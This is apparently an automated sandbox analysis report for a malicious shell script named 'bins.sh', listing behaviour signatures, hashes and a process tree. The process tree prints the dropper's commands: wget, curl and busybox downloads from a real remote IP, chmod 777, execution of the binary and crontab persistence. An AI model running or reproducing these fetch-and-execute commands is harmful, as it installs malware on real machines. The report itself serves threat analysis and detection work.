Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    20/11/2024, 06:31

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241120-g92l5sseqf
  • SHA256 f1e174b1d227f565f874156a1ed092123bfc4421c41ef3b7eb9f57d85b94a109
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (2145) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1479
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1480
        • /usr/bin/wget
          wget http://87.120.125.191/bins/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          2⤵
          • Writes file to tmp directory
          PID:1481
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          2⤵
          • Writes file to tmp directory
          PID:1482
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          2⤵
          • Writes file to tmp directory
          PID:1486
        • /bin/chmod
          chmod 777 9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          2⤵
          • File and Directory Permissions Modification
          PID:1487
        • /tmp/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          ./9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1488
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1490
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1491
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1492
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1493
              • /bin/rm
                rm 9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
                2⤵
                  PID:1495
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
                  2⤵
                    PID:1498
                  • /usr/bin/curl
                    curl -O http://87.120.125.191/bins/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
                    2⤵
                    • Writes file to tmp directory
                    PID:1499

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
                      • Path /tmp/9tgWsRXNHSvAfmuKzfCpZllPLzDrIF1KfO
                      • Size 99KB
                      • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
                      • Path /tmp/yG8bKDQmpDuHT4r35pQAH6uxIO84pP5p3J
                      • Size 76KB
                      • SHA256 9e3044074e04914e33a91c0bf918d45bda3ed3dd96f6c49a09af7a7732bc0c26
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      tmp.eq7afw
                      • Path /var/spool/cron/crontabs/tmp.eq7afw
                      • Size 210B
                      • SHA256 2db4ec1130a9400512011de9f44fe36d82c00a241c3827a8971948f0bc59bdcb
                      • MD5 SHA1 SHA512
                      Submit Download